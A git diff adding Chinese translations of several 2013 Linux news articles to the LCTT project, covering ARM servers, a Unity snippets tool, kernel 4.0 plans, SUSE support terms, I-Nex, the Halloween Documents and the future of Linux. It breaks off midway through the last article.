b/published/201311/Red Hat prepares for 64-bit ARM servers.md @@ -0,0 +1,43 @@ +Red Hat 为64位ARM服务器做准备 +================================================================================ + +> ARM处理器可能带来具有成千上万的节点的堆叠服务器,Red Hat的ARM首席架构师预测说 + +来自IDG新闻服务:企业开源软件供应商Red Hat公司正在密切关注服务器的64位ARM处理器的发展,以建立在数据中心的新生平台上的专业能力。 + +“你们在当今的商业产品市场看不到我们,但我们已经建立了超越如今一些64位技术的能力。所以接下来,如果我们有一个需要应对的市场,我们将有能力应对,”Red Hat首席ARM设计师Jon Masters说。这是Masters周五在华盛顿特区举行的USENIX LISA(大型安装系统管理)会议上提出的。 + +ARM处理器代表了“计算上翻天覆地的变化,”Masters说。虽然已经在智能手机和嵌入式计算设备占据主导地位,ARM处理器架构还可以在数据中心发挥作用。在过去的一年中,基于ARM处理器的服务器已经开始出现在服务器市场。惠普已经开始销售基于ARM架构的Moonshot系列服务器。 + +对于数据中心,ARM可能会因其低功耗设计而带来超大规模计算时代,这样数千个微型计算节点可以打包成一个堆叠服务器。“我们在不久的将来能够建立起完全区别于现今的规模。”Masters说。 + +ARM处理器可能无法以x86处理器的速度运行,但它们可以提供大部分的性能而只消耗一小部分能源,这意味着在一个较小的空间可以打包更多的处理器。“你可以用你手机中相同的技术,作为高密度服务器设计的一部分”,Masters说。 + +他说,许多工作并不需要最快的处理器。相反,工作负载可以分布在更多的处理器上。“这和我能移动多少数据有关系,并不一定和我能做多少计算有关,”他说。例如,云计算和Web应用程序运行在多个服务器上,和运行在数量较少但速度更快的服务器上的表现会同样出色。 + +ARM的设计也可以简化数据中心操作。ARM的芯片内系统的设计方式可以解决管理许多服务器的外部元件的需要。例如,ARM处理器可以提供交叉互联,减少外部电缆和顶级机架交换机的需要。 + +“每一个刀片都具有离散布线已经指日可待了, ”他说。 + +Masters说超大规模计算还需要做大量的工作。 + +ARM授权它的架构而不是和英特尔一样卖处理器。其结果是,从不同供应商提供的不同的ARM处理器有相当程度的变化。“有很多我们不需要的,不必要的变化,”Masters说。 ”这可能成为需要统一系统来管理集体的数据中心的一个问题。 + +[Linaro][1]是一个致力于为ARM平台和部分已经标准化ARM任务开发核心开源软件的产业群。Red Hat的工程师发挥了重要作用,Linaro企业集团,或称为LEG,一直在努力规范软件,让用户可以得到一个能运行在不同供应商提供的ARM处理器的Linux版本。”这些都是在企业领域的基本期望,”Masters说。 + +“我们需要把重心放在如何使它们从根本上兼容,这样你可以进一步增加堆叠,”他说。 + +另一个问题是对外围设备的支持,仍然没有标准化的32位ARM处理器。Masters说,LEG正在考虑使用64位ARM处理器的ACPI(高级配置和电源接口)标准或UEFI(统一可扩展固件接口)。随着时间的推移,ARM将提供一个类似自动化总线的能力,比如将提供支持x86的机器的PCI总线。 + +Masters说,Red Hat还没有宣布任何关于什么时候会发布一个ARM架构的Red Hat企业Linux版本的通知,但他明确指出,测试了许多RHEL应用程序的社区Linux发行版Fedora项目,现在已经为ARM提供了一个发行版。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9243921/Red_Hat_prepares_for_64_bit_ARM_servers?taxonomyId=122 + +译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linaro.org/ + diff --git a/published/201311/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md b/published/201311/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md new file mode 100644 index 0000000000..cd6d1b36af --- /dev/null +++ b/published/201311/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md @@ -0,0 +1,67 @@ +可以快速保存、访问和粘贴文本片段的Unity漂亮工具 +================================================================================ + +**反复键入特定的信息 - 如电子邮件地址或家庭地址,详细的终端命令,及时发送用户喜爱的电视节目的资讯 - 可是件苦差事。** + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-31-at-13.04.jpg) +*Snippets – 方便的访问存储的文本的方法* + +谢天谢地,这个世界上有一些工具可以帮助我们(做这些事儿)。 + +*‘Snippets’* 就是Unity中这种组件之一。 这是一个简单的启动程序小工具,它让你在一个文件中保存和存储摘下来的内容,然后当你需要的时候从Unity的一个快速列表里复制到剪贴板。 + +在某些人把他的内裤扔到我的脸上之前,我得说Snippets不是唯一的这种工具,它甚至不是第一个提供这一系列功能的。但是它独特的是通过Unity启动器来提供这一系列功能。 + +这个软件具功能不错又足够简单,提供以下功能: + +- 添加、访问存储在txt文件中的文本段 +- 在快速列表里查看保存的文本段 +- 点击文本段就可以复制到剪贴板 +- 提供了把剪贴板中的内容保存到txt文件的选项 + +尽管它不是一个“智能”的剪贴板管理工具 – 它只是列出了你特别添加的项目;它不会列出你最近的剪贴板项目历史,但仍然是一个非常方便的小工具。 + +###怎样为Unity安装Snippets### + +想要使用这个漂亮的启动器项目,你需要先安装一个命令行剪贴板工具XClip。点击下面的按钮(链接)从软件中心安装。 + +- [点击以在Ubuntu里安装XClip][1] + +下一步,下载下面的‘Snippets’压缩文件。这包含了剩余所有的使用这个应用所需要的东西。 + +- [下载‘Snippets’Unity启动器][2] + +当这个压缩文件下完之后你就可以解压了。进入生成的文件夹,然后按Ctrl+H显示隐藏的文件。移动文件夹‘.snippets-launcher‘到你的主文件夹中。**如果不这么做,这个组件将无法正常工作。** + +下一步是安装启动器项目。这是被一个你刚搬到文件夹里面的脚本关照的,但它不具有可执行的权限(需要安装),因此,我们首先需要关照它一下。 + +打开一个新的终端窗口在里面小心的键入下面的命令: + + cd .snippets-launcher/ && chmod +x snippets.sh + ./snippets.sh + +就是这样;Snippets应该已经整装待发了。打开Unity Dash搜索Snippets然后把它拖到启动器上去: + +- 左键点击启动器打开可以添加你的文本段的文本文件 +- 右键点击启动器上的项目打开快速列表 + +快速列表里的选项: + +- 左键点击文本段以添加到剪贴板 +- 左键点击“日期”可以复制当前日期 +- 点击“添加剪贴板内容”可以把当前剪贴板中的内容加入到.txt文件中(译注:实际上保存的文本是存储在一个文本文件中) +- 在添加一个项目到.txt文件后点击“更新启动器” + +更多关于这个懒人的工具信息尽在[Ubuntu论坛][3],在那里它的开发者,“Stinkeye”,会很高兴地提供帮助。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/unity-launcher-clipboard-snippets-item + +译者:[crowner](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:apt://xclip +[2]:https://www.dropbox.com/s/ha6lngizmz78srv/snippets%20by%20stinkeye.tar.gz +[3]:http://ubuntuforums.org/showthread.php?t=2184916 diff --git a/published/201311/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md b/published/201311/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md new file mode 100644 index 0000000000..bfc0c1a50f --- /dev/null +++ b/published/201311/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md @@ -0,0 +1,25 @@ +Linux内核4.0就要来了!准备对3.x说再见吧! +================================================================================ +**Linux Torvalds目前正在考虑尽快更换内核的版本号到4.0,新版本将主要专注于bug修复** + +据Linux内核开发维护人员介绍,不远的将来,为了便于管理,Linux的内核版本号将从3.x跳到4.x。Linus Torvalds表示会尽快将其付诸实施。 + +他在Linux内核3.12的[声明][1]中说道:“我不希望我们再有类似2.x那样令人发狂的版本号经历,因此很快某个时候,我们将直接从3.x跳到4.x,这样版本号更短,更便于记忆。虽然目前暂时还未实现,但是我会尽快,可能最多一年左右吧,到时也许是3.19什么的,之后,就会是4.0。” + +然而,不能什么也不干,就只是单纯更新主版本号,这样太不厚道了,因此大神Linus想到了一个好主意。当决定来到4.x的时候,所有的开发者必须专注于bug修复,要让新版本成为一个非常非常稳定的版本,这样才配得上这次重要的主版本号更新。 + +“如果我们吸引足够的注意力让人们都*意识*到,(公司/高层也能意识到),这一次发布的更新只专注于修复bug,也许人们会真正有理由相信,这次的更新是值得的。” + +Linus说,“之所以我提到‘4.0’,是因为如果我们用几乎一年的时间专注于‘ok,3.19之后,我们将会发布一款*仅仅*修复bug的更新,它就是4.0’!这一刻多爽啊~” + +一个全新的、极其稳定的4.0版本内核,将会极大地推动各个发行版开发者们,将这样一个内核发布整合进他们的操作系统。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Say-Hello-to-Linux-Kernel-4-0-and-Say-Goodbye-to-3-x-396734.shtml + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://lkml.org/lkml/2013/11/3/160 \ No newline at end of file diff --git a/published/201311/Seven reasons why closed source is better than open source, or so it seems.md b/published/201311/Seven reasons why closed source is better than open source, or so it seems.md new file mode 100644 index 0000000000..c27f3e2b90 --- /dev/null +++ b/published/201311/Seven reasons why closed source is better than open source, or so it seems.md @@ -0,0 +1,57 @@ +闭源优于开源的七个缘由?是这样吗? +================================================================================ +![](http://opensource.com/sites/default/files/imagecache/image-full-size/images/business/BUSINESS_asusual_deadend.png) + +这看起来似乎挺奇怪的,因为这样的观点来竟然自于OpenLogic的创办人,而该公司专注于在开源领域提供帮助。 但是事实上,闭源在某些情况下优于开源。 + +针对闭源…… + +###1. 出了问题,不用自己搞定 + +只要是软件,难保不出问题。要是开源软件出了这事儿,要么你自己,要么某个欠你人情债的工程师,总得有个人要花费时间排除bug。通览代码,求助于开源社区或者开源软件的供应商,通过这些手段来解决问题。 + +但是闭源呢,一旦你确定开发商代码出了问题,ok,你的工作到此为止! 你只需发个文件,等着就行了。当然,可能会等上几个月或者几年,问题才能得到解决,更甚者永远得不到答复。但是除此之外,你还能做什么呢。 把问题踢回去,放松,期待最好的解决方案,仅此而已。 + +###2. 不必担心贡献回流到社区 + +如果用的是开源软件, 很有可能, 你解决了一个bug或者做出了改善,之后你的代码就会进入到社区,随着时间的推移从而帮助测试或者维护。 + +闭源就不同了,你根本用不着给任何人做任何事情。当然,那是因为你接触不到代码,所以也修改不了,但是你可以针对遇到的问题创建自己的解决方案。你可以一直只针对同一个问题,改善再改善,一个版本接着一个版本,至少用不着跟社区打交道,为其他人提供更好的解决方法。 + +###3. 你不必考虑开源许可条款及规定事宜 + +对于开源,你必须遵循所使用的组件的许可条款。例如,想要搞明白Apache软件许可证和GPL之间的区别与联系,是需要花费一定的时间的。使用哪一种许可证取决于你所用的开源组件以及你如何使用这些组件(发布给第三方或者内部使用),据此都有不同的许可证可供应用(可附加到文档中进行说明)。 + +像OpenLogic这样的公司可以很容易地理解并遵守开源许可,但是针对闭源,你大可不必担心这类事情!你的供应商的许可协议把有关软件的所有的权利都收走了,如果没有你的公司的律师明确同意的情况下,你几乎是不可能的想以别的方式使用这些软件,想都不要想。当然,你还得考虑许可证数量、突如其来的软件合规性审计、随着时间的推移而恶化的条款、几乎难以理解的法律术语,但至少你不必了解如何使用开源组件。 + +###4. 你用不着为每个组件在众多选项中进行选择 + +针对数据库,Web服务器,应用服务器,编程语言,图形用户界面框架,类似的方面等等,开源都提供了大量的解决方案。在每一个特定的领域,你都可以找到运用不同的架构方法,使用各种语言构建的健壮的成品。找一款功能相似的工具很容易,这些工具都针对不同的使用场合进行了优化(性能、可扩展性、简洁之间的比较)。为了确信一个工具软件在既定场合下功能够满足需求,可以下载下来,试用一下。 + +使用闭源软件的话,你就用不着对付那么多的选择。你只需要在每个领域探索两三个大厂商提供的产品。如果供应商没有提供免费试用版本,或者很难说服你为试用品买单,甚至根本不和你签署试用协议,那你就节省时间了。 + +###5. 你不必四处找幻灯片 + +如果打算找一些软件的会议简报,架构图表,截图,以及其他相关的文档,这需要花费一定的时间。使用开源软件,你得读百科,访问论坛,还有邮件列表,才能获取到你需要的相关组件的信息。 + +使用闭源软件,一通电话就足够了,只需坐在自己舒适的办公室,会有西装革履的专业人士把PowerPoint演示文稿寄送到你的面前。当然,在你提供自己的联系方式之前,销售人员是不会给你打电话的。这样看来,至少自己没必要在网上搜索带有漂亮的图形的PPT。 + +###6. 你无需到处寻求技术支持 + +你可以得到来自开源社区,自己的工程师,或专业开源组织的帮助。这可能需要一些时间,以决定是否要服务等级协议(SLA)的支持,以便于在保证的时间内得到答复,就像从OpenLogic那里获得帮助一样,或者如果你可以自由的发问题到邮件列表,自己解决。 + +闭源就不同了,你根本不需要担忧从哪获得帮助。而且,你可能根本用不着和工程师当面交谈,只需要知道给谁打电话就OK了。 + +###7. 认输就行了 + +开源软件,总会有办法解决问题,打补丁,改善,强化,重构,升级,或者重写。没可能跟闭源那样,甩手走开。当然,你可以谩骂开发出这个导致问题的软件的社区,但是你仍然可以解决问题,从社区或者组织那里获得帮助,或者自己动手解决。 而对于商业供应商,那就远不能满足于骂一顿和花费一天的时间来找他们。 + +嗯,你都了解了。为甚么闭源优于开源的几条缘由。你还有要补充的吗? + +-------------------------------------------------------------------------------- + +via: http://opensource.com/business/13/10/seven-reasons-closed-better-than-open-source + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201311/Suse Linux Enterprise expands regular support to 10 years.md b/published/201311/Suse Linux Enterprise expands regular support to 10 years.md new file mode 100644 index 0000000000..068c798445 --- /dev/null +++ b/published/201311/Suse Linux Enterprise expands regular support to 10 years.md @@ -0,0 +1,27 @@ +Suse Linux 延长支持期时间到10年 +================================================================================ +**Suse在客户的要求下延长了支持期** + +Suse Linux Enterprise (SLE)(11版)及以后的版本将会迎来10年的支持期和而不是现在的7年,此举是为了应对竞争对手的服务。 + +Suse的总裁和总经理尼尔.布劳克曼,在佛罗里达的维斯塔湖举办的Suse 2013会议上的发言说:"我们将进入一个新的Suse Linux Enterprise支持周期。"这个主题演讲的[视频][1]已经被放到了YouTube上。 + +Suse产品管理和操作的高级总监杰拉尔德.普法伊费尔,在周三的一封邮件中说:"Suse Linux Enterprise 11是首个得到10年支持期的主要版本,以及3年的扩展支持(LTSS)。我们也考虑向前推进这个新的Suse Linux Enterprise的支持周期,同样包含了12版。"Suse售卖开源Linux软件给企业。 + +普法伊费尔说:"Suse提供不同的包用于扩展支持。扩展支持到13年将花费$60,000/每100台服务器,或者$80,000/每500台服务器。如果不限制服务器的数量,费用是$125,000.这些价格已经沿用好几年了。" + +布劳克曼在他的主题演讲中说:"从一个7+3年的支持期到10+3年的支持期,客户能得到更多时间通用支持。"他还说:"这个决定是在几周前在客户的反映下做出的。" + +Suse的支持期延长是随着Red Hat的在去年1月的行动,RedHat根据客户需求将 Red Hat Enterprise Linux (RHEL) 5和6的生命周期延长到10年。 + +基于RHEL的Oracle Linux,去年2月将支持期从8年延长到10年。而基于Enterprise Linux的重编译版本的CentOS,同样将支持周期延长到10年有一段时间了。 + +-------------------------------------------------------------------------------- + +via: http://www.itworld.com/operating-systems/382610/suse-linux-enterprise-expands-regular-support-10-years + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.youtube.com/watch?v=T0W4izFu_WM \ No newline at end of file diff --git a/published/201311/System-information tool I-Nex 0.5.4 released with improvements.md b/published/201311/System-information tool I-Nex 0.5.4 released with improvements.md new file mode 100644 index 0000000000..62804f62a9 --- /dev/null +++ b/published/201311/System-information tool I-Nex 0.5.4 released with improvements.md @@ -0,0 +1,36 @@ +系统信息工具I-Nex 0.5.4发布 +================================================================================ +[I-Nex][1] 是一个免费开源的系统信息工具,它收集、分类并在一个干净清晰的界面显示关于计算机相关信息。 + +从本质上说,I-Nex显示一个非常详细的系统组件信息,包括驱动,内核,RAM,网络,USB,CPU,GPU,主板,音频,允许用户很容易的掌握自己的计算机和操作系统信息。 + +启动I-Nex,它的主窗口和几个选项卡会出现,可以通过选项卡切换显示不同的信息;例如,点击 `CPU` 选项卡了,显示关于CPU的名称,频率,系列,模式,扩展,高速缓存,等等,基本上,它就是一个方便的信息汇总。 + +![](http://iloveubuntu.net/pictures_me/i-nex%20054%20cpu.png) + +I-Nex 已经更新至 **0.5.4** ,在原本的基础上增加了新的功能,扩展支持还有under-the-hood增强。 + +新版本丰富了选项卡条目,比如 `GPU`;点击 `GPU` 选项卡,用户可以注意到新的 `Total Memory`, `Monitor name`, `Manufacturer`, `Serial number` 条目,增加了新的明细描述系统组件。 + +![](http://iloveubuntu.net/pictures_me/i-nex%20054%20gpu.png) + +此外,0.5.4版本有多个修复,进一步朝着更稳定更强大的系统信息应用程序工具发展,它已经在Ubuntu上替代其他广泛使用的系统信息应用。 + +我们怎么 **安装** I-Nex 0.5.4呢? + +增加 **official** PPA (Ubuntu 10.04, Ubuntu 12.04, Ubuntu 12.10, Ubuntu 13.04, Ubuntu 13.10) + + + sudo add-apt-repository ppa:i-nex-development-team/stable && sudo add-apt-repository ppa:nemh/gambas3 + sudo apt-get update + sudo apt-get install i-nex + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/system-information-tool-i-nex-054-released-improvements + +译者:[flsf](https://github.com/flsf) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://launchpad.net/i-nex diff --git a/published/201311/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md b/published/201311/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md new file mode 100644 index 0000000000..007ce0e257 --- /dev/null +++ b/published/201311/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md @@ -0,0 +1,31 @@ +万圣节档案:微软的反Linux战略15周年回顾 +================================================================================ +> 自从微软的反Linux、反开源战略备忘录泄露以来,已经整整过去了15个年头。让我们来回顾一下,这一战略是如何失败的。 + +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2013/10/trickortreat2.jpg) + +15年前,当时临近万圣节,Eric S. Raymond发布了第一份“[万圣节档案(Halloween Documents)][1]”,文档揭露了微软专门针对Linux与开源的秘密战略。那时,“恐惧、未知与怀疑(fear, uncertainty and doubt - FUD)”这样的词汇第一次被收入辞典,到了今天,很多情况已经改变,而未曾改变的又有哪些?微软和开源世界今天能够和睦相处了吗? + +万圣节档案,之所以这么称呼是因为它是1998年10月最先泄露出来的,档案与万圣节本身并没有什么实际联系,作为一个忠实的节日粉,我对这一点略显失望。不过,要想了解微软与开源世界之间的历史渊源,首先了解这些备忘录是至关重要的。 + +它们是第一份揭露微软肮脏“诡计”的档案,文档显示,微软计划抵制开源活动,尤其要防止Linux影响其收益。对公司来说,第一个关键战略是通过注册专利协议来锁定微软的软件客户,另一个则是通过比Linux更低的价格兜售自家软件,例如提供更低价格的所有权总成本,然而文档显示,微软自己都发现,Linux自始至终在很多方面都比微软要便宜。 + +历史证明,微软的战略大错特错。Raymond发布第一份文档的15年来(后来,伴随着大量的评论,他又不断在自己的网页上添加了更多的文档),微软不断得到市场的肯定,而Windows和Linux共存的局面也一直在持续。尽管万圣节档案中承认,多年来微软在不断失去一些重要的市场份额,例如服务器操作系统与相关应用程序,而这一点曾令微软高层大为恐慌,但其实Linux与开源从未对微软构成实质性威胁。即使万圣节档案中的目标达到了,如今的微软可能也只是变成一家更富有的企业而已。 + +但故事还没完。如今,微软和开源世界之间的小火花在许多领域不断升级。虽然Redmond不必再担心Linux会取代微软旗舰软件或桌面电脑的地位,但在其他领域,例如移动世界,基于Linux的Android,还有“衍生品”iOS,构成了微软意图统治平板电脑和智能手机所要面临的主要挑战;还有,在云计算和大数据方面,开源软件一直在开疆拓域,例如Hadoop和OpenStack,现在微软和其他直接竞争者已根本无法对其形成真正的威胁。领域不同,但游戏规则一致,开源生态系统始终都在环伺微软左右。 + +当然,如今的微软也不再是1998年的微软。多年前大肆扩张的时代已经过去,现在很难想象还有哪种破坏性的挑战足以威胁到微软如此巨大的桌面操作系统份额和办公软件市场。如果微软的确面临衰退,也不是因为Linux,而是因为传统计算机领域的结构升级 —— 而短时间内这样的变化还不会到来。 + +今天,值得我们再次重温万圣节档案,提醒自己不要逃避开源世界的竞争。长远来看,开源软件开发模式能够大大地增进繁荣共享软件市场,而引入开源技术及其开发模式的公司,例如红帽,其发展远比那些因为“恐惧、未知与怀疑(FUD)”而固步自封的公司要好得多。如今的红帽已经拥有更加平稳的盈利潜力,在上文提到的多个开源领域都有持续的业务增长,例如云计算和大数据,相比之下,微软、甚至苹果,如果想要在这些领域有所扩展,则要在新的硬件种类方面面对高昂费用和更加危险的投资。 + +总结:不管是糖果还是软件,分享,都是前进的方向。万圣节快乐! + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/open-source-application-software-companies/halloween-documents-microsofts-anti-linux-strategy-15-yea + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.catb.org/~esr/halloween/ \ No newline at end of file diff --git a/published/201311/The future of Linux--Evolving everywhere.md b/published/201311/The future of Linux--Evolving everywhere.md new file mode 100644 index 0000000000..bb011132d2 --- /dev/null +++ b/published/201311/The future of Linux--Evolving everywhere.md @@ -0,0 +1,133 @@ +Linux的未来:进化无处不在 +================================================================================ + +*InfoWorld* —— Mark Shuttleworth之前关闭了[Ubuntu Linux的第一号bug][1](“微软拥有最高的市场占有率”),导致了一些争议,也引出了一些意味深长的讨论,讨论自从1991年Linus Torvalds以个人玩物项目发明Linux以来,Linux所走过的路。 + +微软也许不会那么快退出桌面系统的历史舞台,但是随着Linux逐渐成长成为IT行业的一块重要基石,计算机的本质也已经完全改变。如今,从云服务到手机操作系统,几乎行业内的所有领域都受到了Linux的直接推动或间接影响。 + +###Linux体系:提交、审核、采纳 + +伴随着支持者的不断增加,Linux的开发进程也在不断加快。 + +但发展的方向又在何处?如果Linux的普及和开发程度正在接近顶峰,那接下来Linux将去往何方?因为Linux具有超高的定制性和超多的“分身”,也许没有哪一个单独的答案能够回答这个问题。 + +或许,更重要的,是快速成长中的Linux如何应对挑战,变得更加成熟稳定,成为在多个领域主导市场发展的领头羊。接下来,让我们分别从以下几个方面尝试预测一下Linux的未来:原材料、社区产品与企业贡献、其特质所面对的各种挑战、技术实力和成长方向。 + +###Linux作为原材料:弯曲、塑形,你想让它是什么样都可以 + +如果用一个形容词来总结Linux独有的优点,那就是“可塑性(malleable)”。Linux是这样一种原材料,可以装订切割,也可以为任意场合量身定做,小到嵌入式设备,大到大规模并行超级计算机。 + +但同时,这也是Linux的缺点之一。它千变万化的特性使得它很少以“Linux”的本来面目出现 —— 相反,人们使用的是各种“基于Linux”的产品,例如Android、或家用路由器这样的硬件设备。桌面Linux的多个发行版(之间往往不相容)也把最忠实的用户群分割得七零八落。 + +Linux基金会执行董事Jim Zemlin承认,“Linux终端用户的体验的的确确是支离破碎的,但这也是Linux的一个强大之处。” + +“它就像一块建筑地基,使得Google能建立Android和Chromebooks,Amazon建立Kindle,Canonical建立Ubuntu,等等这样的例子还有很多。所有这些产品对用户来说意味着不同的使用体验,而选择权完全在消费者自己手里。” + +Mark Baker,Canonical公司的Ubuntu服务器产品经理,目前负责领导Ubuntu项目。他的话更加具体准确地表明了这一观点:“开源意味着选择的自由。”开源自然会促进模块化,因此,无论你是一个技术宅男还是正在开发数据中心的系统架构师,“通过开源,你可以选择最适合你的组件”。 + +但是IDC的操作环境分析师兼系统软件项目副经理 Al Gillen 却质疑这种完全放任自流的价值观。“Linux是开源的,由此,任何人都可以修改代码,把它变成别的什么东西。但是,现代工业已经表明,没有价值的产品会被淘汰,代码的发展主线应当始终紧靠主流价值观。” + +Android用户对此有直接的深刻体会,诸多Android操作系统间存在着严重的碎片化问题。严格来说,尽管这并不都是Linux的责任,但是看看在Android之前就已经出现的无数五花八门的Linux桌面发行版吧,放任产品随意修改,差异化实现又造成更大的影响 —— Android碎片化只是将这些问题生动放大了而已。 + +讽刺的是,即使“可塑性”真的是Linux的最大优势,但过犹不及,Linux作为这样的原材料将会付出成倍的代价。 + +Cloudera的工程部经理 Eric Sammer 并没有孤立地看待这个问题,他认为Linux的用户群“与Firefox或Apache等产品的用户群并不一样”,Linux“面向的并不是终端用户,而是操作系统类工程师”,因此它需要与“很多其他软件一同建立一个完整的系统 —— 其中大部分软件是捆绑发布的,并对用户透明(例如boot loader)。”就如同Torvalds在Linux最初的内核发布日志中亲自写道,“只有内核,你什么也干不了。” + +Android验证了Gillen和Sammer以上两人的观点,作为Linux最受欢迎的“衍生品”,Android所有的附加值都来自于Google以及Google专门为其开发的App生态系统。因此说,Linux的可塑性只是它成为真正产品的第一步,正如下文中这些最成功的Linux拥护者 —— 企业,所熟悉的一样。 + +###企业的贡献:利还是弊? + +Linux的另一个特点,它是一个合作产物,由众多贡献者共同努力缔造而成。那么,这些贡献者从何而来? + +答案:企业。企业是最主要的贡献者,但是他们忠于利益,支持Linux只是为了自身的未来发展。除去Red Hat(不同于Canonical,RedHat是最为人所熟知的Linux解决方案供应商),排名前几位的贡献者主要包括Intel,IBM,德州仪器,甚至还有微软。 + +Linux的所谓“灵活性”,即能够运行在多个平台或设备上的能力,很大程度上来源于以上这些贡献者,而他们的主要动力则来自于不断萌发的自身需要:例如,微软为Linux内核添加的代码,大大改善了Linux在其产品Hyper-V下的运行状况。 + +Sammer相信企业背景的发行版之所以能够普及,是“因为Linux内核这样的项目其复杂程度和准入门槛太高,一般水平的C程序员很难在有限的业余时间内,仅凭个人能力,而不依靠企业的支持,跟上内核的更新进度、建立社区公信力,或者做出某些重大贡献”。在他看来,企业恰恰有能力有资源支持这样的努力,与之相比,高校和研究机构已被远远地抛在了后面。 + +但是企业发行版的普及就代表Linux已经陷入企业的控制了吗?难道这就是Linux的未来?沦为资本的玩物? + +其实最重要的不是看谁对Linux的贡献最多,而是这种贡献所代表的企业精神。不管是纯粹为了圈钱,还是为了把挣来的钱都回馈于社区,无论这些企业最初的动机是什么,作为Linux的贡献者,它们始终对贡献本身坚信不疑。 + +Mark Coggin,Linux红帽企业版的市场高级总监,他坚信,“最佳的创新点是那些经过开源社区的无数参与者利用、改进后的方案。” + +“我们所有的新点子都会先作为开源项目,寻求社区上游项目组的增益评估,然后才加入像红帽企业版这样的产品。我们希望那些为Linux内核及配套项目工作的每个人,也能拥有像我们一样的眼光。” + +还有一小部分观点认为,企业发行版Linux其实是一种“被绑架的Linux”,正如Gillen所提倡的 —— 这是一种让Linux“稍稍不那么贴合主流用户群需求”的方法。他确信,对Linux的商业化支持与商业优化“对Linux的开发模式大有裨益,而不是相反。” + +###同样的,对Zenmlin来说,Linux开发“并不是一个零和游戏” + +“如果移动领域的某位开发者改善了耗电量,另一位在数据中心工作的开发者会因此而受益,他可以使用前者的改进来确保自己的数据服务运行得更有效率,”Zemlin说道,“共享开发正是Linux如此强大的原因。” + +同样,企业开发也并非敌人,“人们为Linux的开发工作付费从来都不是坏事;这些钱款可以让Linux的改善与创新变得更加迅捷快速。” + +真正的问题是,Baker补充道,“一些超大型网络公司对Linux作出改进并上线应用,但是却为了保持自己的优势,而把这些改进捂在自家门里。” + +GPL协议第三版 —— 从Linux发布协议的一个早期版本改进而来 —— 当初修改该协议的部分原因就是为了应对上述行为。尽管如此,协议只能防止获取他人代码后作为Web服务重新开发。除此以外,并没有什么固有的方法(或法律手段)能够禁止公司或个人在代码开发完成后封闭独占这些改进后的代码,也许,这就是Linux对全世界自由开放所不可避免的一部分社会成本吧。 + +###Linux面临的最大威胁 + +感谢开源机制,Linux始终能够作为一个开源项目,企业才无法像以前那么独断专行。那除了企业,现在什么才是Linux所面临的最大威胁呢? + +没人会真的认为Linux会被版权欺诈或诉讼所威胁,更不会因此从OS版图上消失。类似的最大一起诉讼案,SCO +Group公司控告IBM案,被广泛解释为间接对Linux的攻击,也最终以悲惨的失败而告终(译者注,该案件间接导致了SCO Group的破产)。 + +Coggin也倾向于该观点:“依靠巨大的开发者网络和全球范围内的推广传播,Linux取得了巨大成功,这意味着它具有很强的韧性。尽管专利威胁一直都在增加,正如许多科技公司最近所做的那样,但是看起来专利诉讼并不会对Linux产生任何实质性的威胁。” + +除此以外,其他类似开源产品的竞争,甚至更加自由化的协议(例如各式各样的BSD们),目前为止,都没有真正达到能够危及淘汰Linux的程度。 + +Sammer用一个单词总结出了,在合法范围内,Linux面临的最大威胁:自满! —— 自满地认为已经成为所有领域的市场领导者。 + +他说,“如果你正在竞争第一名的位置,你常常愿意更开放地做出改变,无论是过程上的、心态上的,还是有关发展路线的,甚至维持现状本身。想想Firefox被Chrome以如此快的速度抢走了如此多的份额,再想想当年的商业化Unix们被Linux抢占江山,这样的例子还有很多很多。” + +大致根据同样的思路,Zemlin看到了这样一种威胁,面对日益增长的需求,Linux的天才开发者们才气有余,但经验不足,因此这才有了[Linux培训][2]项目。 + +Gillen发现的威胁来自于社区的变化,“随着时间推移,Linux的主流用户群 —— 社区,正在从企业的客户(服务的消费者)转变为服务的提供者。” + +这样一种变化可能会导致Linux用户被迫作为Linux服务提供者的同时,却完全无法将自己的智慧和创新回馈社区。这种变化也许会持续十几年甚至更长,但它“对整个Linux世界都具有深远的消极影响,包括各个Linux商业发行商在内。” + +Linux所要面对的另外一个潜在威胁是公司兼并 —— 